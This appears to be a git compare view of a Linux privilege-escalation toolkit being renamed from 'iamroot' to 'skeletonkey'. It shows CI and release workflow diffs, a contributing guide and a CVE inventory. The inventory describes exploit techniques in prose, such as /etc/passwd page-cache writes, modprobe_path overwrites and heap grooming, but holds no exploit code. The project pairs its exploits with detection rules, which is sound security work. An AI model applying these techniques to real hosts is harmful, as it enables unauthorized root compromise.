Compare commits
42 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 72ac6f8774 | |||
| fde053a27e | |||
| 97be306fd2 | |||
| a9c8f7d8c6 | |||
| 150f16bc97 | |||
| c63ee72aa1 | |||
| 86812b043d | |||
| 0d87cbc71c | |||
| 2b1e96336e | |||
| 1571b88725 | |||
| 36814f272d | |||
| d05a46c5c6 | |||
| ea1744e6f0 | |||
| c00c3b463a | |||
| 4f30d00a1c | |||
| 3e6e0d869b | |||
| a26f471ecf | |||
| cdb8f5e8f9 | |||
| 9a4cc91619 | |||
| ac557b67d0 | |||
| a8c8d5ef1f | |||
| 3b287f84f0 | |||
| 33f81aeb69 | |||
| 5be3c46719 | |||
| 58fb2e0951 | |||
| 2904fa159c | |||
| 2873133852 | |||
| 95135213e5 | |||
| 0fbe1b058f | |||
| e13edd0cfd | |||
| 5a73565e0e | |||
| 324b539d65 | |||
| e668c3301f | |||
| 347a9af832 | |||
| 023289a03a | |||
| e7ced5db7c | |||
| b5188b7818 | |||
| 9593d90385 | |||
| 9d88b475c1 | |||
| 1bcfdd0c9f | |||
| 5a808e3583 | |||
| 6a0a7d8718 |
+25
-11
@@ -22,7 +22,8 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
sudo apt-get update -qq
|
sudo apt-get update -qq
|
||||||
sudo apt-get install -y --no-install-recommends \
|
sudo apt-get install -y --no-install-recommends \
|
||||||
build-essential clang make linux-libc-dev
|
build-essential clang make linux-libc-dev \
|
||||||
|
libglib2.0-dev pkg-config
|
||||||
|
|
||||||
- name: show compiler
|
- name: show compiler
|
||||||
run: ${{ matrix.cc }} --version
|
run: ${{ matrix.cc }} --version
|
||||||
@@ -37,22 +38,34 @@ jobs:
|
|||||||
make
|
make
|
||||||
fi
|
fi
|
||||||
|
|
||||||
- name: sanity — iamroot --version
|
- name: sanity — skeletonkey --version
|
||||||
run: ./iamroot --version
|
run: ./skeletonkey --version
|
||||||
|
|
||||||
- name: sanity — iamroot --list
|
- name: sanity — skeletonkey --list
|
||||||
run: ./iamroot --list
|
run: ./skeletonkey --list
|
||||||
|
|
||||||
- name: sanity — iamroot --scan (no exploit; just detect)
|
- name: sanity — skeletonkey --scan (no exploit; just detect)
|
||||||
run: ./iamroot --scan --no-color || true
|
run: ./skeletonkey --scan --no-color || true
|
||||||
# exit code may be nonzero (vulnerable host = exit 2, missing
|
# exit code may be nonzero (vulnerable host = exit 2, missing
|
||||||
# precond = exit 4) — that's diagnostic data, not CI failure
|
# precond = exit 4) — that's diagnostic data, not CI failure
|
||||||
|
|
||||||
- name: sanity — --detect-rules auditd
|
- name: sanity — --detect-rules auditd
|
||||||
run: ./iamroot --detect-rules --format=auditd | head -50
|
run: ./skeletonkey --detect-rules --format=auditd | head -50
|
||||||
|
|
||||||
- name: sanity — --detect-rules sigma
|
- name: sanity — --detect-rules sigma
|
||||||
run: ./iamroot --detect-rules --format=sigma | head -50
|
run: ./skeletonkey --detect-rules --format=sigma | head -50
|
||||||
|
|
||||||
|
- name: tests — detect() unit suite
|
||||||
|
env:
|
||||||
|
CC: ${{ matrix.cc }}
|
||||||
|
run: |
|
||||||
|
# Run as a non-root user so modules' "already root" gates do
|
||||||
|
# not short-circuit before the synthetic host-fingerprint
|
||||||
|
# checks fire. The test binary itself is platform-agnostic;
|
||||||
|
# the assertions are #ifdef __linux__ guarded.
|
||||||
|
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||||
|
sudo chown -R skeletonkeyci .
|
||||||
|
sudo -u skeletonkeyci make test
|
||||||
|
|
||||||
# Static build job: ensures the project links cleanly when -static is
|
# Static build job: ensures the project links cleanly when -static is
|
||||||
# requested. Useful for deployment to minimal containers / fleet scans
|
# requested. Useful for deployment to minimal containers / fleet scans
|
||||||
@@ -66,7 +79,8 @@ jobs:
|
|||||||
run: |
|
run: |
|
||||||
sudo apt-get update -qq
|
sudo apt-get update -qq
|
||||||
sudo apt-get install -y --no-install-recommends \
|
sudo apt-get install -y --no-install-recommends \
|
||||||
build-essential make linux-libc-dev libc6-dev
|
build-essential make linux-libc-dev libc6-dev \
|
||||||
|
libglib2.0-dev pkg-config
|
||||||
- name: make static
|
- name: make static
|
||||||
# Glibc static linking pulls in NSS at runtime which breaks
|
# Glibc static linking pulls in NSS at runtime which breaks
|
||||||
# getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
|
# getpwnam; the legacy DIRTYFAIL Makefile noted this. For now,
|
||||||
@@ -75,7 +89,7 @@ jobs:
|
|||||||
# gate the merge on it. Migrate to musl-gcc when we want a
|
# gate the merge on it. Migrate to musl-gcc when we want a
|
||||||
# truly portable static binary.
|
# truly portable static binary.
|
||||||
continue-on-error: true
|
continue-on-error: true
|
||||||
run: make static && ls -la iamroot
|
run: make static && ls -la skeletonkey
|
||||||
|
|
||||||
# Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
|
# Phase 4 followup (placeholder): kernel-VM matrix. Each entry runs
|
||||||
# the binary against a VM running a specific (vulnerable or patched)
|
# the binary against a VM running a specific (vulnerable or patched)
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ name: release
|
|||||||
# Maintainer flow:
|
# Maintainer flow:
|
||||||
# git tag v0.1.0
|
# git tag v0.1.0
|
||||||
# git push origin v0.1.0
|
# git push origin v0.1.0
|
||||||
# → CI builds + publishes release with iamroot-x86_64 + iamroot-arm64
|
# → CI builds + publishes release with skeletonkey-x86_64 + skeletonkey-arm64
|
||||||
|
|
||||||
on:
|
on:
|
||||||
push:
|
push:
|
||||||
@@ -44,20 +44,20 @@ jobs:
|
|||||||
CC: ${{ matrix.cc }}
|
CC: ${{ matrix.cc }}
|
||||||
run: |
|
run: |
|
||||||
make
|
make
|
||||||
file iamroot
|
file skeletonkey
|
||||||
ls -la iamroot
|
ls -la skeletonkey
|
||||||
|
|
||||||
- name: rename + checksum
|
- name: rename + checksum
|
||||||
run: |
|
run: |
|
||||||
mv iamroot iamroot-${{ matrix.target }}
|
mv skeletonkey skeletonkey-${{ matrix.target }}
|
||||||
sha256sum iamroot-${{ matrix.target }} > iamroot-${{ matrix.target }}.sha256
|
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
|
||||||
|
|
||||||
- uses: actions/upload-artifact@v4
|
- uses: actions/upload-artifact@v4
|
||||||
with:
|
with:
|
||||||
name: iamroot-${{ matrix.target }}
|
name: skeletonkey-${{ matrix.target }}
|
||||||
path: |
|
path: |
|
||||||
iamroot-${{ matrix.target }}
|
skeletonkey-${{ matrix.target }}
|
||||||
iamroot-${{ matrix.target }}.sha256
|
skeletonkey-${{ matrix.target }}.sha256
|
||||||
|
|
||||||
release:
|
release:
|
||||||
needs: build
|
needs: build
|
||||||
@@ -72,7 +72,7 @@ jobs:
|
|||||||
- name: flatten artifacts
|
- name: flatten artifacts
|
||||||
run: |
|
run: |
|
||||||
find dist -type f -exec mv {} . \;
|
find dist -type f -exec mv {} . \;
|
||||||
ls -la iamroot-*
|
ls -la skeletonkey-*
|
||||||
|
|
||||||
- name: collect release notes
|
- name: collect release notes
|
||||||
id: notes
|
id: notes
|
||||||
@@ -81,16 +81,16 @@ jobs:
|
|||||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||||
# Pull the latest entry from CVES.md / ROADMAP.md for the body
|
# Pull the latest entry from CVES.md / ROADMAP.md for the body
|
||||||
{
|
{
|
||||||
echo "## IAMROOT $tag"
|
echo "## SKELETONKEY $tag"
|
||||||
echo
|
echo
|
||||||
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
|
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
|
||||||
echo
|
echo
|
||||||
echo "### Install"
|
echo "### Install"
|
||||||
echo
|
echo
|
||||||
echo '```bash'
|
echo '```bash'
|
||||||
echo "curl -sSLfo /tmp/iamroot https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/iamroot-\$(uname -m | sed s/aarch64/arm64/)"
|
echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
|
||||||
echo "chmod +x /tmp/iamroot && sudo mv /tmp/iamroot /usr/local/bin/iamroot"
|
echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
|
||||||
echo "iamroot --version"
|
echo "skeletonkey --version"
|
||||||
echo '```'
|
echo '```'
|
||||||
echo
|
echo
|
||||||
echo "Or one-shot via the install script:"
|
echo "Or one-shot via the install script:"
|
||||||
@@ -109,12 +109,12 @@ jobs:
|
|||||||
uses: softprops/action-gh-release@v2
|
uses: softprops/action-gh-release@v2
|
||||||
with:
|
with:
|
||||||
tag_name: ${{ steps.notes.outputs.tag }}
|
tag_name: ${{ steps.notes.outputs.tag }}
|
||||||
name: IAMROOT ${{ steps.notes.outputs.tag }}
|
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
|
||||||
body_path: release-notes.md
|
body_path: release-notes.md
|
||||||
files: |
|
files: |
|
||||||
iamroot-x86_64
|
skeletonkey-x86_64
|
||||||
iamroot-x86_64.sha256
|
skeletonkey-x86_64.sha256
|
||||||
iamroot-arm64
|
skeletonkey-arm64
|
||||||
iamroot-arm64.sha256
|
skeletonkey-arm64.sha256
|
||||||
install.sh
|
install.sh
|
||||||
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
||||||
|
|||||||
+3
-1
@@ -5,7 +5,9 @@ build/
|
|||||||
*.dSYM/
|
*.dSYM/
|
||||||
modules/*/build/
|
modules/*/build/
|
||||||
modules/*/dirtyfail
|
modules/*/dirtyfail
|
||||||
modules/*/iamroot
|
modules/*/skeletonkey
|
||||||
|
/skeletonkey
|
||||||
|
/skeletonkey-test
|
||||||
.vscode/
|
.vscode/
|
||||||
.idea/
|
.idea/
|
||||||
*.swp
|
*.swp
|
||||||
|
|||||||
@@ -0,0 +1,89 @@
|
|||||||
|
# Contributing to SKELETONKEY
|
||||||
|
|
||||||
|
SKELETONKEY is a curated corpus. PRs welcome for the things below.
|
||||||
|
For everything else, open an issue first to discuss scope.
|
||||||
|
|
||||||
|
## What we accept
|
||||||
|
|
||||||
|
### 1. Kernel offsets for the `--full-chain` table
|
||||||
|
|
||||||
|
The 11 🟡 PRIMITIVE modules use the shared finisher in
|
||||||
|
`core/finisher.c` to convert their primitive into a root pop via
|
||||||
|
`modprobe_path` overwrite. That needs `&modprobe_path` (and friends)
|
||||||
|
at runtime — resolved via env vars / `/proc/kallsyms` /
|
||||||
|
`/boot/System.map` / the embedded `kernel_table[]` in
|
||||||
|
`core/offsets.c`.
|
||||||
|
|
||||||
|
The embedded table is **empty by default** to honor the
|
||||||
|
no-fabricated-offsets rule. Every entry must come from a real kernel
|
||||||
|
you have root on.
|
||||||
|
|
||||||
|
**Workflow:**
|
||||||
|
|
||||||
|
```bash
|
||||||
|
sudo skeletonkey --dump-offsets # on the target kernel build
|
||||||
|
# Paste the printed C struct entry into core/offsets.c kernel_table[]
|
||||||
|
# Open a PR titled "offsets: <distro> <kernel_release>"
|
||||||
|
```
|
||||||
|
|
||||||
|
Include in the PR body:
|
||||||
|
- Distro + kernel version (`uname -a`, `cat /etc/os-release`)
|
||||||
|
- How you verified the offsets (kallsyms / System.map / debuginfo)
|
||||||
|
- Whether `--full-chain` succeeds end-to-end against any 🟡 module
|
||||||
|
on that kernel (if you can test on a vulnerable build)
|
||||||
|
|
||||||
|
### 2. New modules
|
||||||
|
|
||||||
|
A new CVE module is welcome if:
|
||||||
|
|
||||||
|
- The bug is **patched in upstream mainline** (no 0days here)
|
||||||
|
- It has a public CVE assignment or clear advisory
|
||||||
|
- The kernel range it affects has realistic deployment footprint
|
||||||
|
- You can include a working detect() with branch-backport ranges
|
||||||
|
- You ship matching detection rules (auditd at minimum)
|
||||||
|
|
||||||
|
Use any existing module as a template. Lightest-weight reference:
|
||||||
|
`modules/ptrace_traceme_cve_2019_13272/skeletonkey_modules.c`.
|
||||||
|
|
||||||
|
Mandatory:
|
||||||
|
- Detect short-circuits cleanly on patched kernels (we test this)
|
||||||
|
- `--i-know` gate on exploit
|
||||||
|
- Honest scope: `SKELETONKEY_EXPLOIT_OK` only after empirical root,
|
||||||
|
otherwise `EXPLOIT_FAIL` with diagnostic
|
||||||
|
- `NOTICE.md` crediting the original CVE reporter + PoC author
|
||||||
|
|
||||||
|
After the module file exists, wire it into:
|
||||||
|
- `core/registry.h` (extern declaration)
|
||||||
|
- `skeletonkey.c` main() (register call)
|
||||||
|
- `Makefile` (new objects + ALL_OBJS)
|
||||||
|
- `CVES.md` (inventory entry)
|
||||||
|
|
||||||
|
### 3. Detection rules
|
||||||
|
|
||||||
|
If you're adding only detection coverage (no exploit) for an
|
||||||
|
existing or new CVE, that's fine. Drop a sigma rule into the module
|
||||||
|
or a new auditd rule file.
|
||||||
|
|
||||||
|
### 4. Bug reports + CVE-status corrections
|
||||||
|
|
||||||
|
Distro backports that patched a CVE without bumping the upstream
|
||||||
|
version → file an issue. Same for kernels we mis-classify as
|
||||||
|
vulnerable.
|
||||||
|
|
||||||
|
## What we don't accept
|
||||||
|
|
||||||
|
- Untested code paths claiming `SKELETONKEY_EXPLOIT_OK`
|
||||||
|
- Per-kernel offsets fabricated without verification
|
||||||
|
- Modules without detection rules
|
||||||
|
- 0day disclosures (responsible disclosure first; bundle here
|
||||||
|
after upstream patch ships)
|
||||||
|
- Container escapes that don't chain to host root
|
||||||
|
|
||||||
|
## Code style
|
||||||
|
|
||||||
|
C99. Match the surrounding file. Run `make` and the existing
|
||||||
|
CI build (`.github/workflows/build.yml`) before opening the PR.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
By contributing you agree your work is MIT-licensed.
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
# CVE inventory
|
# CVE inventory
|
||||||
|
|
||||||
The curated list of CVEs IAMROOT exploits, with patch status and
|
The curated list of CVEs SKELETONKEY exploits, with patch status and
|
||||||
module status. Updated as new modules land or as upstream patches
|
module status. Updated as new modules land or as upstream patches
|
||||||
ship.
|
ship.
|
||||||
|
|
||||||
@@ -23,11 +23,42 @@ Status legend:
|
|||||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||||
historical reference only
|
historical reference only
|
||||||
|
|
||||||
**Counts (v0.2.0):** 🟢 13 · 🟡 7 (all `--full-chain` capable) · 🔵 0 · ⚪ 1 · 🔴 0
|
**Counts:** 31 modules total — 28 verified (🟢 14 · 🟡 14) plus 3
|
||||||
|
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot` —
|
||||||
|
see note below). 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row
|
||||||
|
below — CVE-2026-31402 — is a *candidate* with no module, not counted
|
||||||
|
as a module.)
|
||||||
|
|
||||||
|
> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
|
||||||
|
> are ported from public PoCs. The **exploit bodies** are not yet
|
||||||
|
> VM-verified end-to-end, so they're listed 🟡 but excluded from the
|
||||||
|
> 28-module verified corpus.
|
||||||
|
>
|
||||||
|
> All three now have **pinned fix commits and version-based
|
||||||
|
> `detect()`**:
|
||||||
|
> - `pack2theroot` reads PackageKit's `VersionMajor/Minor/Micro` over
|
||||||
|
> D-Bus and compares against fix release **1.3.5** (commit `76cfb675`).
|
||||||
|
> - `dirtydecrypt` uses the `kernel_range` model against mainline fix
|
||||||
|
> **`a2567217`** (Linux 7.0); kernels < 7.0 predate the vulnerable
|
||||||
|
> rxgk code per Debian's tracker.
|
||||||
|
> - `fragnesia` uses `kernel_range` against mainline **7.0.9**; older
|
||||||
|
> Debian-stable branches (5.10/6.1/6.12) are still listed vulnerable
|
||||||
|
> on Debian's tracker — backport entries will extend the table as
|
||||||
|
> distros publish them.
|
||||||
|
>
|
||||||
|
> `--auto` auto-enables active probes (forked per module so a probe
|
||||||
|
> crash cannot tear down the scan), which lets all three give an
|
||||||
|
> empirical confirmation on top of the version verdict. See each
|
||||||
|
> module's `MODULE.md`.
|
||||||
|
|
||||||
|
Every module ships a `NOTICE.md` crediting the original CVE
|
||||||
|
reporter and PoC author. `skeletonkey --dump-offsets` populates the
|
||||||
|
embedded offset table for new kernel builds — operators with
|
||||||
|
root on a host can upstream their kernel's offsets via PR.
|
||||||
|
|
||||||
## Inventory
|
## Inventory
|
||||||
|
|
||||||
| CVE | Name | Class | First patched | IAMROOT module | Status | Notes |
|
| CVE | Name | Class | First patched | SKELETONKEY module | Status | Notes |
|
||||||
|---|---|---|---|---|---|---|
|
|---|---|---|---|---|---|---|
|
||||||
| CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
|
| CVE-2026-31431 | Copy Fail (algif_aead `authencesn` page-cache write) | LPE (page-cache write → /etc/passwd) | mainline 2026-04-22 | `copy_fail` | 🟢 | Verified on Ubuntu 26.04, Alma 9, Debian 13. Full AppArmor bypass. |
|
||||||
| CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
|
| CVE-2026-43284 (v4) | Dirty Frag — IPv4 xfrm-ESP page-cache write | LPE (same primitive shape as Copy Fail, different trigger) | mainline 2026-05-XX | `dirty_frag_esp` | 🟢 | Full PoC + active-probe scan |
|
||||||
@@ -35,9 +66,9 @@ Status legend:
|
|||||||
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
|
| CVE-2026-43500 | Dirty Frag — RxRPC page-cache write | LPE | mainline 2026-05-XX | `dirty_frag_rxrpc` | 🟢 | |
|
||||||
| (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
|
| (variant, no CVE) | Copy Fail GCM variant — xfrm-ESP `rfc4106(gcm(aes))` page-cache write | LPE | n/a | `copy_fail_gcm` | 🟢 | Sibling primitive, same fix |
|
||||||
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
|
| CVE-2022-0847 | Dirty Pipe — pipe `PIPE_BUF_FLAG_CAN_MERGE` write | LPE (arbitrary file write into page cache) | mainline 5.17 (2022-02-23) | `dirty_pipe` | 🟢 | Full detect + exploit + cleanup. Detect: branch-backport ranges + **active sentinel probe** (`--active` fires the primitive against a /tmp probe file and verifies the page cache poisoning lands — catches silent distro backports the version check misses). Exploit: page-cache write into /etc/passwd UID field followed by `su` to drop a root shell. Auto-refuses on patched kernels. Cleanup: drop_caches + POSIX_FADV_DONTNEED. |
|
||||||
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `iamroot --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `IAMROOT_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
|
| CVE-2023-0458 | EntryBleed — KPTI prefetchnta KASLR bypass | INFO-LEAK (kbase) | mainline (partial mitigations only) | `entrybleed` | 🟢 | Stage-1 leak brick. Working on lts-6.12.86 (verified 2026-05-16 via `skeletonkey --exploit entrybleed --i-know`). Default `entry_SYSCALL_64` slot offset matches lts-6.12.x; override via `SKELETONKEY_ENTRYBLEED_OFFSET=0x...`. Other modules can call `entrybleed_leak_kbase_lib()` as a library. x86_64 only. |
|
||||||
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
|
| CVE-2026-31402 | NFS replay-cache heap overflow | LPE (NFS server) | mainline 2026-04-03 | — | ⚪ | Candidate. Different audience (NFS servers) — TBD whether in-scope. |
|
||||||
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/iamroot-pwnkit-* workdirs. **First userspace LPE in IAMROOT**. Ships auditd + sigma rules. |
|
| CVE-2021-4034 | Pwnkit — pkexec argv[0]=NULL → env-injection | LPE (userspace setuid binary) | polkit 0.121 (2022-01-25) | `pwnkit` | 🟢 | Full detect + exploit (canonical Qualys-style: gconv-modules + execve NULL-argv). Detect handles both polkit version formats (legacy "0.105" + modern "126"). Exploit compiles payload via target's gcc → falls back gracefully if no cc available. Cleanup nukes /tmp/skeletonkey-pwnkit-* workdirs. **First userspace LPE in SKELETONKEY**. Ships auditd + sigma rules. |
|
||||||
| CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
|
| CVE-2024-1086 | nf_tables — `nft_verdict_init` cross-cache UAF | LPE (kernel arbitrary R/W via slab UAF) | mainline 6.8-rc1 (Jan 2024) | `nf_tables` | 🟡 | Hand-rolled nfnetlink batch builder (no libmnl dep) constructs the NFT_GOTO+NFT_DROP malformed verdict in a pipapo set, fires the double-free, sprays msg_msg in kmalloc-cg-96 and snapshots slabinfo. Stops before the Notselwyn pipapo R/W dance (per-kernel offsets refused). Branch-backport thresholds: 6.7.2 / 6.6.13 / 6.1.74 / 5.15.149 / 5.10.210 / 5.4.269. Also gates on unprivileged user_ns clone availability. |
|
||||||
| CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
|
| CVE-2021-3493 | Ubuntu overlayfs userns file-capability injection | LPE (host root via file caps in userns-mounted overlayfs) | Ubuntu USN-4915-1 (Apr 2021) | `overlayfs` | 🟢 | Full vsh-style exploit (userns+overlayfs mount + xattr file-cap injection + exec). **Ubuntu-specific** (vanilla upstream didn't enable userns-overlayfs-mount until 5.11). Detect parses /etc/os-release for ID=ubuntu, checks unprivileged_userns_clone sysctl, and with `--active` attempts the mount as a fork-isolated probe. Ships auditd rules covering mount(overlay) + setxattr(security.capability). |
|
||||||
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
||||||
@@ -46,11 +77,21 @@ Status legend:
|
|||||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
|
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
|
||||||
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
||||||
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
||||||
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `IAMROOT_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
||||||
